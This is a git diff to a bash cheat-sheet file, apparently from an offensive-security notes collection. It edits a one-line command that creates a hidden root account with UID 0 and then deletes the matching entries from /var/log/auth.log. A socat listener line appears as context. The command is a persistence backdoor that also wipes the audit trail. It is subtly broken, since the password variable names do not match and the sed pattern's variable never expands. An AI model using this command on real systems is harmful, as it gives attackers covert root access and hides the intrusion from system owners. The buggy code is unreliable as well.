diff --git a/scripting/bash.md b/scripting/bash.md
index 7c50cc3..8fd18c5 100644
--- a/scripting/bash.md
+++ b/scripting/bash.md
@@ -128,8 +128,9 @@ socat readline TCP-LISTEN:1234
 ```
 
 **One line root useradd**
+It create a new root user. You have to change some parameters.
 ```bash
-USERNAME="name";PASSWD=`perl -e 'print crypt($PASSWD, "sa")'` && sudo useradd -p $PASSWORD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment "Comment Here" $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log
+USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWORD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log
 ```
 
 Credits